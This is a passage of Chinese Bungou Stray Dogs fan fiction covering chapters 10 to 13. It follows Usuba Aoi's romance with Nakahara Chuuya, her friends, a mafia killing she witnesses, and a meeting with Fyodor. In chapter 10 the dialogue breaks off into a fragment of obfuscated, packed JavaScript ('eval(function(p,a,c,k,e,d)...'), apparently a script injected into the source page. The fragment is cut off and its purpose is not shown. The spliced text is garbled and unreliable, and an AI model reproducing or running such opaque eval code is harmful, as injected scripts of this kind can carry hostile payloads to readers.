“他们太过分了,你搬来和我一起住。”源真理子拍拍胸口,“呃,我也没有房子,没关系,我们一起住在夕家里就好了!” 薄叶葵:“……啊?” 源真理子甩甩手里的钥匙,“我以前都是和夕一起住啊,现在夕酱要回去,你难道不想和本小姐住一起吗?” 拥有月白长发和宝石蓝眼睛的源真理子小姐,挑起下巴看人的时候就像一只正在发脾气的波斯猫。 她“刁蛮”“娇纵”,永远不会好好说话。 “喂!你哭什么啊!”波斯猫小姐手忙脚乱地抽出卫生纸怼在薄叶葵脸上,“跟本、我一起住不用这么感动吧?” 她们约见的餐厅是源真理子指定的,属于是薄叶葵下辈子都不一定会凑够能够坦荡走进来的勇气的类型,提供给客人的餐巾纸也非常柔软,擦过脸颊时带来的微微香气与她格格不入。 “真理子。”还在源源不断掉眼泪的薄叶葵大脑掉线,“我手好痛。” “哈?那、那我们再回医院好了!” “你能当我妈妈吗?” “……” “喂你不要得寸进尺啊!” 10. 第十章 如果说【羊】的事务只是有一点繁忙,那么成为港口mafia的一员后,中原中也就成为了当仁不让的顶级劳模。 不但穿得黑漆漆,就连行动时间也是两眼一黑看不见自己的未来。 “这个嘛……” 按住帽子的赭发少年面带不自在,因为他总不能告诉薄叶葵自己今天毁灭了一个敌对组织,甚至这段时间都在重复地进行这些工作。 坐在他对面的薄叶葵也没有点破,从中原中也来到这家餐厅开始,她就已经闻到了他身上的血腥味。 “工作很忙吗?”她喝了一口杯子里的水,“中也看上去很累。” “我还好。” 虽然身体疲惫,但中也看上去神采奕奕,就是神色稍有纠结。 善于察言观色的薄叶葵当然能看懂他的忐忑,“有什么有趣的事也可以和我分享啊,毕竟我相信中也……无意义的杀戮,你是不会去做的。” 得到认可的少年眼睛一亮,钴蓝色的眼眸里好像有星星划过,整个人大松一口气。 什么在港口mafia里工作还挺开心啦,身边的人和他相处很合得来,首领让他和某青花鱼做搭档不太好,与年纪差不多的同事一起喝酒发现红酒真不错想要再来一些,加入了旗会,其中代号“阿呆鸟”的成员送给了自己一辆定制的机车…… 真好啊。 薄叶葵笑着看着他。 如果说他们两个人第一次见面的时候,他算是一只瘦巴巴的、皮毛都有点脏的小橘猫的话,现在应该是只油光水滑、爪子锋利的豹子了吧? 人可以与橘猫相依为命,但是不能将小豹子养在身边。 因为他有属于自己的、广阔的草原。 “小葵?小葵?”中原中也叫了几声她的名字,见她没有反应,只好一脸无奈地上来捏她的脸,“回神啦!” “唔?”被他一把捏住脸颊,有点懵的薄叶葵回过神来,“怎么啦?” 雾灰色的眼眸看过来的时候好像一只对他充满善意的小狗。 手下的脸也好软。 不知道想起什么,中原中也脸颊一红,慌慌张张地收回手,“我……我是在问你,怎么走神了?” “在想着怎么变强一点。”薄叶葵揉揉脸上被他捏过的地方,有点烫。 “哈?我保护你就好了啊。”对面的小橘子一本正经地表示,随后他目光凛冽,“还是说最近有人欺负你?” 没有人欺负我啊,中也。 是你太强了,也走得太快太远,我想追上去而已。 “欺负倒是没有。”薄叶葵活动了下手腕,“我可是很强的,最新战绩是打倒了一个成年男人。” 正是她的亲爹。 虽然妈妈的眼神让她感觉心中被剜了一刀,但看到以前随意在家里发脾气的爸爸在她面前只能缩在角落里时,小葵觉得自己做对了。 “谁打你?”中原中也神色锐利起来,“那个打你的人在哪?” 薄叶葵:“……我说的是我打别人。” “那也肯定是他的错。”小橘猫毫不犹豫地选择偏袒,“毕竟小葵你脾气这么好,如果他没犯错,你怎么会打他!” 他看着她的眼神活脱脱就是一个“我们家孩子没错”的老父亲。 ……自动升级成为养父的人正在夸赞她将亲生父亲打了一顿的行为。 好怪。 “这三年我还是有好好锻炼的。”她咽下最后一口,“夕酱经常和我对练。” 中原中也知道她口中的夕酱就是给她送糖的朋友,他没多关注这件事,又往薄叶葵盘子里夹了几块肉,“真棒,再多吃点。” “……中也,你觉不觉得你变异了。”薄叶葵放下筷子,“人真的能一口气吃下这么多饭吗?” 他看上去比她还纳闷,“为什么不能?小葵你吃的很少啊,难道是这家餐厅不合你胃口吗?” 不,这家餐厅也是她下辈子都不会踏进来的类型。 因为她怕看到账单会昏过去。 如果可以的话,薄叶葵选择接个闹钟匆匆离场。 说起来港口mafia的薪资是多少,这个充满有钱人的世界到底为什么不能再多她一个啊! 饭后,吃得差点撑死的薄叶葵和神清气爽的中原中也在街上散步,不知不觉间就来到【羊】的旧址。 “要不要和我练练手?”她突然兴致勃勃的提议,“当然,中也不许用异能力!” 原本沉寂的少年有一瞬间愕然,然后很快展露笑颜,万般忧愁也不能阻挡他走在自己的人生道路上。 “好吧。” 身手较差的薄叶葵率先动手,一记横扫向他的腰腹。 中原中也眉眼含笑,向后躲避的动作又快又轻,他漆黑的大衣在空中划过,像是有什么东西切开了空间。 下一刻,带着黑色皮质手套的手握住薄叶葵的手腕,阻止了她下一步的行动。 要是比力气的话,还是我更擅长一些哦,小葵。 薄叶葵抬头,那双带着笑意的钴蓝色眼睛中清清楚楚地传达着这个意味。 当然没想用力气取胜啊。 有一头蓬松的齐耳短发的女孩一顿,然后猛地靠近。 “咦,中也你居然不怕痒。” 很快两只手都被捉住的她开始装傻。 他们两个凑得很近,几乎要贴在一起。 上一秒控制住她的中原中也下一秒就耳朵发红,眼神乱飘,“当……当然不怕,我可是……” “嘿!” 突然的袭击让他一顿,然后立刻撤回了自己下意识用出的异能力。 这次真的被牢牢压制压制在地上的薄叶葵愁眉苦脸—— 谁家打架想用头槌的结局是跟对手贴了贴额头就被按在地上了啊。 “我赢了。”中原中也宣布这个既定的结果,然后带着笑伸出手,“赢了的人有奖励。” “我没说!” “这是邪恶的mafia规定的。” “哎?” 头发被揉成草堆的薄叶葵气鼓鼓地站好,“为什么我才一米五!” 有什么长高的好方法吗! 同样身高没超过一米六的中原中也动作停顿了一下,安慰她,“没关系的小葵,你、我们都还在生长期啊!” “真的吗?” “当然是真的。”涉及到这个话题,中原中也严肃地点点头,“消化得怎么样了?我们一起去喝杯牛奶怎么样?” “……你说得对,但中也你经常熬夜,真的不会被影响吗?” “喂,再说我要敲你头了!” . “好累。” 顶着炎炎烈日被源真理子拉出来逛街的薄叶葵小声吐槽,其实她最近一直在做兼职,但薪水被真理子嫌弃太微薄。 因为担心二小姐接下来的动作是一张卡甩过来嫌弃她小气,又担心自己在看到卡的那一刻扑上去大喊“真理子我是你的狗”,薄叶葵已经坚定地拒绝了她十多场邀约。 直到打工的咖啡厅老板亲自来找她批准假期。 薄叶葵:? “是这样的。”咖啡店老板喜笑颜开,“就在半小时前,有位小姐买下了这家店,新老板说你可以享受带薪假期。” 薄叶葵:! “当然不是用我的卡买的。”源真理子否认了她的猜测,“我只能用姐姐的副卡,虽然买下一家咖啡馆不是什么大数目,但绝对会被她发现然后各种找理由逼我回家。” “所以我刷的雪野的卡。”她理所当然地说:“一点小钱,她不会在意的。” “真的没关系吗?”内心已经开始流泪的薄叶葵咽了下口水,这家咖啡厅也是她不会进来的类型啊! “当然没关系啦。雪野在横滨的资产很多,代理人再打理一间咖啡馆也很方便嘛。” 她们在夕阳时分沿着海岸线散了一会儿步,听觉敏锐的薄叶葵就听见不远处的乱石后传来模糊的枪声。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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满脸是血的男人神情疯癫地从乱石堆后跑出来,四肢还残留着大大小小的划伤,他身躯上覆盖的原本是一套还算得体的西装,此时已经沾满了泥土与血水。 “葵……”源真理子还没来得及看清,眼前就被薄叶葵用手牢牢挡住,“你别看!” 一声枪响划过耳边,属于那个男人的声音彻底消失,只要隐隐约约的血腥味传来。 源真理子双腿一软,她身边的薄叶葵一把扶住她。 可是你好像也在抖啊,阴沉地看过来的太宰治眼睛里清清楚楚地表明着这一讯息。 这就是最真实的港口mafia缩影,中原中也所要处理的,比这仍要危险可怕得多。 你害怕了吗? 那就退却吧。 虽然他并没有什么好心思,但若是被森先生发现薄叶葵并不期待中原中也的加入,甚至隐隐有抵触心理的话。 “宝石匣”就不再是一个好用的容器,反而变成束缚钻石的、需要被打碎的囚笼了。 这都怪那条头脑简单的小蛞蝓啊,鸢眸少年神色冷淡地想,太过天真直率,一点也不会掩饰自己对另一个人的关怀。 啊啊,这可是很容易让自己的宝物被有心之人盯上的。 与中也告别时的轻松不见,心脏处传来自噬一样的窒息感,薄叶葵甚至要口鼻一同呼吸才能勉强缓解这种酸涩的痛楚。 ……为什么呢? 为什么总是在给予她一点微薄的希望之后,又用一座天堑告诉她不可能? 在太宰治的示意下,他的属下动作利落地将地上的尸体拖走,用沙土掩埋血迹。 到了夜晚涨潮,这里就会被海水淹没,到时候死去的人的踪迹就会被彻底消抹。 在这个城市中,一个人的生命就是如此之轻。 即使是港口mafia的一员,也是一样的。 11. 第十一章 “所以你说的暗恋对象也是港口mafia的一员咯?” 气鼓鼓的源真理子往嘴里塞了一块切好的牛排,“这已经不是劝不劝分的问题了!” 别人谈恋爱氪金,你谈恋爱氪命啊! “……中也不是这样的。”薄叶葵虚弱地为自己辩解,“那个人只是……” 格外有病而已。 两个人一共才见了没几次,薄叶葵记得他的名字好像是叫做太宰……太宰什么来着? “你说,这场恋爱该不该被支持!” 已经被定性为恋爱脑的薄叶葵暂时说不通,源真理子干脆打电话给雪野夕抱怨,“你在哪呢?” “我在——”电话那边传来雪野夕急促的声音,“不许抢我的面包!” 看着一脸冷漠地挂断电话的好姐妹,薄叶葵小心翼翼地咽了下口水,“怎么了?” “雪野夕那个笨蛋说自己在海边跟抢自己面包的海鸥打架!” 一个恋爱脑一个笨蛋,怎么看这两个人都没救了吧? 她们所在的餐厅窗明几净,一尘不染的落地窗光滑明亮,只需要一转头就能将横滨夜景映入眼中。 源真理子气势汹汹地转头,然后指着马路上一个正在扶老奶奶过马路的矮小身影说:“你看,那位穿西装的矮个子先生,看上去就很不错嘛。” 她在薄叶葵震惊的表情中继续夸奖,“虽然看上去矮了一些,但穿衣品味很不错,还会做好人好事……” 马路对岸,小心翼翼地扶着高龄老婆婆的中原中也擦了擦汗,低声询问,“您还好吧?累不累?” “没事啊,这位……矮个子先生。”老奶奶慢吞吞地说:“虽然您看上去矮了一些,但穿衣品味很不错,还会做好人好事,真是个有善心的好孩子啊。” 怎么听起来怪怪的?中原中也心想,被说矮其实有些恼火,但这个奶奶年纪大了,也许是不懂得怎么夸人吧。 “对了,小伙子,你有没有喜欢的人啊。”老奶奶和蔼地问他。 听到这个问题,小橘子先生从擦汗转为不好意思地整理帽子,他的脑中下意识想到小葵那天毫不犹豫为他挡下刀刃的那一幕,又浮现出许多彼此在不经意间对上视线,随后相视而笑的场景。 他自从诞生以来见过许许多多的人,但只有她是迄今为止认识时间最长的、也是最难忘的。 如果要将他对小葵的感情下一份定义,那么也许唯一符合的就只有红叶姐说过的“喜欢”了。 身侧有轿车呼啸而过,反应过来的中原中也连忙将身体侧过,以免尘土呛到身边的老人,这才恍惚间惊觉自己沉默的时间似乎有点长了。 “有、有的。”他猛然退后两步,摸着鼻子脸色赧然。 对面的老人家以不符合自己年龄的听力听清楚了这句声若蚊蝇的自白,这才不急不慢地问:“那么孩子,你是做什么工作的呢?” “婆婆我呀,听说现在的女孩子都喜欢安稳的生活,如果丈夫帅气多金又体贴那就再好不过了。” “如果一看就不符合,那恐怕就没有希望喽。” 中原中也愕然地“啊”了一声。 结、结婚这种问题,是不是有点太遥远了,再、再说他好像还没有对小葵表明心意啊! “总之……” “黑漆漆的小矮子,怎么说也不是个好选择吧?” 沙哑的声音摇身一变成为带点稚气的少年嗓音,太宰治一把摘下假发挺直腰背,“啊啊,看小矮子脸红什么的我真的要吐啦!” “什、什么?!太宰治!!!”中原中也这次不只是脸红,他全身都泛起红光,下一秒一脚踢出! “你这该死的青花鱼又骗我!!!” 太宰治灵活躲避,转到街角时向他比了个鬼脸,“打不到!而且暴力的小蛞蝓被心上人看见暴打路人,良好形象全部摧毁哦~” 正在激情打人的中原中也一愣,不可置信地随着太宰治的视线转过头去—— 对面餐厅的落地窗后,已经习惯的薄叶葵和她对面一脸震惊的女孩正在看着这大变活人后被当街殴打的一幕。 中原中也:“……” 他现在应该先去解释还是先继续追杀太宰治? “我收回我的话。”源真理子坐回座位,“横滨真是人杰地灵,我再也不敢对任何一个人发表看法了。” 薄叶葵:“……” “嘴上说着看见尸体很害怕,但实际上把我拉来米其林餐厅把全部推荐菜式都吃了一遍的真理子好像也是厉害人物中的一员……” “你再这样本小姐下次真的不管你了!” “好好好。” 敷衍地答应下来,薄叶葵还是在看着马路对面因为两难而脸颊通红的中原中也。 察觉到她的视线,他脸上的红晕还在继续蔓延,直到耳朵也在灯光照射下变成半透明的红色。 再看下去,恐怕小橘猫要钻进自己的帽子里了。 “真是……”薄叶葵的余光看向向她挥挥手,然后转身消失在拐角处的太宰治,对方的背影好像都透露出一股看好戏的气息。 但她分不出多余的眼神去看别的人了,灰色的虹膜中满满都是路灯下那个穿着黑西装、头发与眼睛颜色都非常绮丽的人。 “喂,喂!”真理子有点不爽地捏碎周围空气中这令人牙酸的气氛,“看什么呢,都入迷了。” “真理子。”被她呼唤的女孩将手抬起覆盖在玻璃上,眼神还是在定定地注视着因为她刚刚的动作选择走过来的人,“你说夕说的会不会是对的?” “啊?” “她说……我未来应该努力买个带地下室的房子。” “哈?” “小葵你喜欢带地下室的房子?”推门而入的中原中也在源真理子痛心疾首的眼神下开口。 “……有这个打算,但我应该做不到。” “怎么会?”中原中也看看两个人点的菜,似乎对她今晚吃下的份量挺满意,“小葵你这么优秀,考上大学以后毕业工作会大有作为的!” 她说的应该不是这个做不到,源真理子心中哽咽,而且大哥你难道不是港口mafia的人吗?这种老父亲的语气是要闹哪样啊!而且这长相,撇开装扮的话,在窗外看着这一幕露出欣慰表情的雪野夕都比你更像不良! 哎? “你又是什么时候来的啊!” 雪野夕身后,还跟着晚上八点半仍在上班的年轻社畜坂口安吾,他看到中原中也时微 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虽然他和异能特务科都知道,港口mafia的首领森鸥外为了组织的发展,因此默许了他的进入,甚至在雪野财团进入横滨与他会谈时都邀请他在现场充当书记员,这些足以表现出森鸥外的诚意。 但现在他开始怀疑森首领的用意了,对方不会是要借助难搞大小姐来整治一下自己吧! 难搞大小姐雪野夕正在拉着源真理子出门,“坂口君,可以下班了哦,放心,我付过钱了。” 最令人暖心的一句话出现了。 他叹口气站起来,“我送你们回家吧。” “那就多谢了。”雪野夕一口答应,“那就麻烦中、中原先生,待会儿把小葵送到这个地址哦。” 她肩膀上的栗子酱跟着啾啾两声,看上去对坐在那里的两个人很感兴趣。 随着三人离去,桌前就只剩下挨着的中原中也和薄叶葵。 刚刚还能借口人多,现在周围一下子变得空荡荡,两个后知后觉的人才“腾”一下分开。 “混、混蛋青花鱼是不是又来找你了。”中原中也不自然地坐到对面,“我会去警告他的。” “他其实说的有道理。”薄叶葵抓住裙角,周围从朋友们的喧闹变成两人之间的沉默,其实太宰先生说的很有道理,今天下午的一具尸体就能把她吓得腿软,中也身上的血腥气呢? 中也是自由而强大的个体,即使她再怎样幻想着能够“独占”这份光明,在现实中也是不可能实现的。 他其实是太阳一样的人啊,只是现在主动投入黑暗中,将那份耀眼转换为稍微温和一点的月光而已。 即使月亮就在面前,也是人生中可望而不可触及的。 至于中原中也…… 他此刻大脑也一片混乱,什么叫“太宰那混蛋说的也有道理”? 难、难道说女孩子真的非常讨厌能打、有些粗心、还工作不稳定且伴随着危险的丈夫吗? 啊,这些词他单说出来一个好像都不是打动人的点啊! 面对面的两人意外地双双陷入沉默。 12.第十二章 沉默的两人在忧愁地对视一眼后,又双双决定为自己找一位恋爱军师。 中原中也:虽然和小葵认识了很久,但我毕竟没有多少和女孩子相处的经验……而且小葵好像讨厌港口mafia,她一直都是个温柔善良心思细腻的人,我应该求助谁呢? 外交官?他的魅力无人能敌,想必在讨女孩子喜欢上很有一套。 红叶姐?她是个受人尊敬的女前辈,在恋爱上肯定也能给出完美的提议。 薄叶葵:虽然和中也认识了很久,但我毕竟没有多少和男孩子相处的经验……而且中也好像不怎么喜欢心思敏感的类型,他一直是个勇敢善良积极向上的人,我应该求助谁呢? 真理子?她劝分情侣的力度无人能及,想必在分析男孩子性格上很有一套。 甘露寺蜜璃学姐?她是个善于发现各种感情的情感大师,在恋爱上肯定也能给出完美的建议。 两个脑电波完美错过的人都在暗中点了点头,下定决心分别后就开始打电话发信息摇人。 “时间不早了……” “时间不早了……” 中原中也和薄叶葵一起开口。 中原中也心下一沉,心想:小葵这么说,该不会是觉得我很冒昧吧?听和我一起执行任务的下属说,女孩子一般都不会同意和男人吃晚餐的请求的,看看现在,时间都快十点了,如果是他听到小葵这么晚了还在外面的消息,也会担心的。 薄叶葵心下一沉,心想:中也这么说,该不会觉得我很冒昧吧?听和我一起练习剑技的前辈们说,男孩子一般都不会喜欢过度打扰自己生活的人的,看看现在,时间都快十点了,如果是她想到还要送不喜欢的人回家这种事,也会烦躁的。 两个人心情沉郁地走出店门,中原中也指指不远处自己的机车,“我送你回去。” 薄叶葵来到机车后座,眼睛一亮,“居然能够到地面哎!” “……因为这是我定制的。”中原中也听到这话,一时间不知道该气愤还是欣慰。 “但是中也,你有驾照吗?” “……” “走了。” 若无其事跨坐上车的赭发少年二话不说发动了车子,一声轰鸣声过后,后座的薄叶葵拼命把自己喉咙里的尖叫声咽了下去。 “中——也——” “你说什么?” 薄叶葵刚刚一开口喝了满嘴风,现在一言不发,只是死死抱住了前面少年的腰,她想说你开的太快,她要飞出去了! 而前面的中原中也,他在小葵刚伸手抱上来时心里还产生了一两分悸动,随后就被她吃奶的力气震惊了,再然后,一股被勒得想吐的欲望油然而生。 “小——葵——” “你说什么?” 被喊名字的人齐肩波波头已经完全炸开,头发糊了一脸还死死闭着眼睛,只是凭借意志力在回应而已。 “你不会掉下去的!不用再死死抱着我了啊!” “啊啊啊你别转过头来跟我说话啊!你先看路!看路!” “我不看路也不会有事的!” “这么厉害你怎么不上天!” “我上!” 随着赭发少年的大吼,一层红光覆盖了整个车身,紧接着,原本飞速前进的机车前轮离地,带着机车上的两个人直奔高空而去。 这下原本只是响彻横滨街道的尖叫声响彻了整个横滨上空。 “哇哦。”因为睡不着而大半夜在街头闲逛的太宰治举起手机,拍下了这“空中飞漆黑小矮人并且后座上还带着一位小姐”的传奇一幕,“下个周的杂志又能写新谈资了耶。” 销量一定会很好吧,呜呼。 而正在二楼和雪野夕下五子棋、并且已经输了一小时的源真理子崩溃地抬起头,恰好也看到窗外空中飞车的一幕,顿时喃喃自语:“这、这对吗?” 跟随她视线看过去的雪野夕也是大为震撼,“哇塞,还挺酷炫?” 改装机车稳稳落在雪野夕的院子里,中原中也有些畅快地甩甩长长了的头发,转头得意地跟薄叶葵说:“你看,我就说绝对不可能掉下来。” 因为重力压制而被头发糊了满脸的薄叶葵:“……” 中原中也同样有点懵,因为他记得小葵跟自己说过,有时候很想变成一只鸟,这样就能自由自在。 结合她的意思,再听她喊的那句“怎么不上天”,可见小葵的心愿是在天上任意翱翔。 这点对他中原中也来说是小意思! 虽然还没来得及找到军事当做恋爱参考,但按照身边大多数人的态度以及他的本意来说,让自己喜欢的女孩子感到快乐很重要。 今晚他就想自己发挥一下试试看。 “小、小葵,你没事吧?”从大门里匆匆跑出来源真理子扶住从后座上下来、看上去已经变成游魂的薄叶葵,“你现在感觉怎么样?” “……还挺爽的。”当事人脚步虚浮两眼发直,“人生中……从未有过的体验。” 原本还有一丝忐忑的中原中也松了一口气,拍着胸膛向薄叶葵保证,“没事,你要是喜欢每次坐在我后座,我都可以……” “不要啊!”小葵终于哽咽一声,“我感觉自己刚刚叫醒了半个横滨!” 她平日里沉默寡言,刚刚十五分钟的车程,把她人生中下辈子的尖叫份额都用完了。 呃,好像是有点招摇,罪魁祸首不好意思地摸摸鼻子,“那、那下次再想坐我的机车可一定要跟我说啊!” 拥有良好心态的中也先生,已经把薄叶葵死死抱住他的力气忘在了脑后,毕竟作为一个肌肉密度很大的青少年,那个力道习惯了也就不算什么。 想到这里,自觉完美的他快乐地向薄叶葵挥挥手,一点也不觉得那凌乱的发型影响了她的可爱,“那我就先走了,有事就联系我。” “记得好好吃饭,今晚做个好梦!” 按住帽子向源真理子和雪野夕告别后,他坐上机车以来时的飞行模式离开了院子。 源真理子把还在恍惚的朋友拉进客厅,往她手里塞了一杯 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握住把手的双手上带着短的皮质手套,手套与衣袖之间露出白皙又有力的一截手腕,还有衣领上露出的一小段脖颈,上面还有微微贴合喉结的黑色皮质chorker,那片皮肤在她下意识贴上去时透出浅淡薄红,有份心跳好像加速了,就是不知道究竟是谁的心脏逐渐不可思议地“砰砰”止不住。 当她的额头抵在他的肩膀上时,视线向下就是依旧闪烁着灯火的横滨,偶尔还会有一处颇具特色地发生因为热战而绽放的小小火光,人们在地面上奔走,或脸上挂着疲惫忙于工作、或与亲朋好友共度良夜、有新的生命在医院中出生、亦或者有人在漆黑的夜中失去生命…… 可现在这些事,统统都与薄叶葵这个人暂时撇开关系,她就像是坐上了奇妙列车的旅人,自在地、暂时抛却俗世地、可以与喜欢的人坐在一起地。 他身上还沾染着餐厅中带出来的温馨香氛气息,与月下骑着机车,眉眼间意气风发前进的姿态不太相合。 却又像坠入凡间的神明。 一个明明是神,但自愿以人类之身存在的神明。 而她正跟随神明进行一场并不算遥远的旅行。 人会喜欢神,这一切是多么简单、又是多么可悲。 ……明明一开始她并不想将中也视作神明。 “真理子!” 入口即化的饼干被她啊呜一口吞下去,薄叶葵气势汹汹地抱住了身边女孩的胳膊。 “求求你了,不要反对我追求中也啊!” “……我还没说反对。” “那你来帮帮我,追到他?” “这、这种事我没有经验啊,你应该找夕酱这种花心的家伙吧?” “我也想过。”小葵认真地点点头,“但我想的是纯爱啊!” 雪野夕:“……” “你懂什么?我只是想给天下的美人一个家而已!” “我也是,只不过对象就是那一个。”薄叶葵双手许愿,“神明大人,请给我一个家。” 能让她逃离原生家庭的、真正意义上的家。 13.第十三章 “哈哈哈哈哈哈……” 旗会的聚集地里,一个相当帅气的男人发出一阵惊天动地的爆笑声。 “中、中也……”他几乎笑得喘不上气,“你是说你送有好感的女孩子回家,结果用异能力拉着她在天上飞了一圈是嘛?” “欸,这么一听还有些浪漫哦。”阿呆鸟捋过自己有点炸毛的头发,“不过被中也好感的女孩子说什么?” “小葵说很有趣。”中原中也眼睛发亮,“但我不确定她究竟喜不喜欢我……” “不如就直接表白吧?”冷血在旁边出主意,“对于我们mafia来说,这个方法最有效。” 呃,可他就是担心自己是mafia小葵才不接受啊。 “没想到中也居然也会有这么犹豫的一天?”送他定制机车的阿呆鸟在旁边打趣,“但现在的年纪可正是最青涩的时候哦。” 朋友的语气里满是揶揄,是叫他别错过的意思。 “我、我会去试试的。” . 薄叶葵这几天一直在考虑自己究竟要不要回家看看,自从上次与爸爸的争吵后,她就没有再回过家。 想到妈妈,她又有些犹豫。 因为假如她不在,那么爸爸的发泄对象就只剩下了妈妈。 可是妈妈虽然爱她,却从未站在小葵这一边。 她也没有真正地拥有过自己。 薄叶葵甚至不知道妈妈原本的姓氏是什么,她也从没有对自己提及过。 想到从前,她每每想要从记忆中寻找细枝末节来证明妈妈对自己和对她的爱能够胜过她对爸爸的服从,可想到的却是—— 她提到爸爸时嘴上的埋怨,但又在小葵气愤地为妈妈抱打不平时反过头来训斥自己。 十几年来那一句“他可是你的爸爸啊”一直就像片乌云,始终环绕在小葵的脑海里。 小葵最终变得沉默起来,她有时会陷入思考,思考自己是否只是爸爸的替代品,当真正的爸爸回家时,妈妈的心就开始偏向起来。 她在学校里听到过其他人提及自己的家庭,那是一个与她见过的、完全不同的世界。 【我想要一个童话书里的家。】 这是薄叶葵从未诉之于口的愿望。 在她幻想中的家庭,每个家庭成员都有自己的位置,又彼此爱着对方。 更多的细节,小葵无法描述。 “小姐,谢谢。” 坐在座位上的客人对她端来的饮品表达谢意,他拥有紫红色的、忧郁的眼睛,漆黑的、微长的发丝和绅士的着装,略微低缓的日语发音和语句后连缀的敬语让这个人有些古怪。 但他无疑是个漂亮的美少年,与中原中也那种鲜亮的美丽截然相反,可若要说他是太宰治那样虚无的俊秀又似乎有些不准确。 ——大概是,神张开翅膀,翅膀的阴影下有些癫狂地注视着神的柔美信徒。 “您似乎有什么烦心事吗?” 青年大提琴般的声音响起,他低头微微品尝一口咖啡,几乎是在上唇碰到杯沿时就将之放下,右手做了个邀请的姿势。 薄叶葵被那双温柔却凉薄的紫红色眼睛注视着,像是后颈被人塞上一团雪。 她几乎没什么犹豫就想要拒绝这个人。 “我只是担心,担心一位年幼的小姐正在用绝望摧毁自己。”青年叹息着说:“您将咖啡送到我面前,眼睛却在诉说着……” “诉说着恨不得自己没有降生在这个世界上的忧伤。” 这句话让听到的人脸色一白。 她诚然是个没有勇气却满身尖锐的人,碍于他是客人,似乎也不太好与之争辩。 “不必担心。”青年的声音依旧和缓,“我只是个来自异国他乡的、好心的俄罗斯人罢了。” . “就这样,你和他聊了一会儿人生哲学,甚至其他店员发现他的颜值,还给他送了店里的饼干。” 刚刚带着一大束粉色绣球花回家的雪野夕面无表情地听完薄叶葵今天的经历,然后咬牙切齿地表示:“这咖啡馆好像是我的产业吧!” “可恶的俄罗斯饭团!居然在我的店里享受到了福利,我以后要在店前面立个牌子!” “俄罗斯人禁止入内,尤其是饭团和小丑!” “呃……”旁听的源真理子举起手,“夕酱,我记得你也有四分之一俄国血统啊……” “正是因为我有,所以我才知道那个俄罗斯饭团的可怕啊小葵。”雪野夕忧心忡忡地双手握住薄叶葵的手,“你回来的路上下雨了,又告诉我这个糟糕的消息,感觉我的心也变得湿漉漉了。” 薄叶葵:“……” 源真理子:“……你够了。” “那位好心的、好吧,我去掉这个形容词,那位俄罗斯先生是坏人吗?”薄叶葵小心翼翼地问,今天下午他们还一起在咖啡厅里讨论了家庭和人性。 他长相秀美,说话却犀利而尖锐,当得知她在犹豫自己是否应该回家去见一趟自己的父母时,费奥多尔先生抬起自己单薄的眼皮,用一种凉且柔的语调说:“抱歉,小姐,一个既没有耐心又没有勇气的人,只要这种人的沮丧一发作,就会说自己没有天赋。*” “就像现在的您一样啊。” 从未经历过这种刻薄的薄叶葵当场愣在原地。 对面的人的神情看上去是冰冷的,然而眼底居然还有那么些慈悲。 “您刚刚的话里,讲述了自己的家庭,又讲述了自己后来的遭遇。” “很高兴还能看到您对这个世界抱有善意,就像是那个被您所喜爱的【人】。” 他着重在【人】这个字上停顿。 薄叶葵只当他是对日语不娴熟,又或许是心神不定到什么也没发现。 “但是啊……” 青年的语气缓慢下来,他用勺子搅动着咖啡杯里醇香的液体,“迄今为止,您所做的一切真的有意义吗?” “只有从小缺爱的人,才会给那些本就不缺爱的人献爱,就像是穷光蛋在给亿万富翁捐款。*” 这个世界本就是异能者的世界,而你,此刻坐在我对面的少女。 费奥多尔微笑着注视薄叶葵。 你是普通人的一员。 想到这里,他又开始慢悠悠地搅拌咖啡,小勺子与杯壁碰撞,偶尔发出清脆的响声。 . “虽然没来得及反驳,但我并不认同他说的话。”薄叶葵摇头。 “我和中也很小的时候就遇见了。” 我见过他因为自然的风雨狼狈的样子,也见过他因为没有食物尴尬的模样,甚至因为流浪连面包也认不出。 他后来被羊接纳,自己也融入其中,很努力地成为所谓的羊之王。 虽然他并不认可这个称呼,可他一直在履行着这份职责,保护着伙伴,带着大家过上更好的生活。 也正是这个命运的分岔路口,我和中也的人生道路渐渐分叉,可我想中也从未后悔过他的选择。 所以我还是永远也不会憎恨他。 费奥多尔先生似乎并不需要她明确地表现出这番话,他的眼睛似乎有着看穿别人的魔力,只需要一眼就能得知她内心的想法。 薄叶葵没有回避他的视线。 因为她的心思是真的,并不畏惧别人知道。 后来反倒是费奥多尔移开了视线。 他优雅地起身,将钱币放在洁白的桌布上。 “先生、先生。”另一位服务生喊着他转头离开的背影,“您的钱给得太多了。” “啊。”好心的俄罗斯先生嘴边露出微笑,“那是我给这位小姐今天下午与我聊天的补偿。” “也有其中各位的份。” “还有你们的店长。”他优雅地欠身行礼,稍显苍白的面庞暴露在玻璃门外撒下的阳光中,蒙上一层闪亮的色彩,“如果被她知道我在这里喝了原价的咖啡,恐怕她会很生气。” 那一刻,青年终于脱离了神的阴影。 他即将取代神,飞向高天。 “什么原价的咖啡。”雪野·店长·夕冷笑,“下次来给他打折。” “打到骨折。” 薄叶葵:“……” 这是她今天第二次沉默。 虽然不知道夕酱和那位费奥多尔先生有什么过节,但她还是无条件站夕酱吧。 “我并不想过多评价他。”雪野夕语气冷淡,“他或许是卫道者和殉道者并存……也或许是会将理想付诸于行动的理想主义者。” “更是嘴上说着信奉神,实际上却将自己视作神的人。” “如果他向你说他爱着全部人类,那其中的意味也并非他精确地爱着每一个【普通人】呢。” “……那岂不是既谦卑又傲慢吗?”薄叶葵试着去回忆今天下午所见的青年,除了他柔美的相貌与紫红色的眼睛,再多的…… 她什么也没想起来,越深想下去,脑海中就越是青年漫不经心地、用茶匙敲打杯壁的声音。 也许那是什么旋律? “我还是决定过几天去看看妈妈爸爸。”薄叶葵最终放弃,改换话题说:“也许在他们看来现在我是‘翅膀硬了’,但我还是有些话想对妈妈说。” 她一定要去问问她,自己和爸爸她会选谁? “要我陪你去吗?”源真理子没见过费佳,也就不对雪野夕和薄叶葵的交谈发表什么别的意见,但她对薄叶葵的出行感到担忧。 “不用。”小葵甩甩头,又看向若有所思的雪野夕,“夕酱也不用跟着,我有分寸的。” . “暗杀王?”港口大楼的最顶层,森鸥外抚摸着下巴,“唔,那可真是难办呢。” “我们虽然能调动很多的异能者,但无论是怎么分析,都没有能够正面挡住这位的寻在呢。” 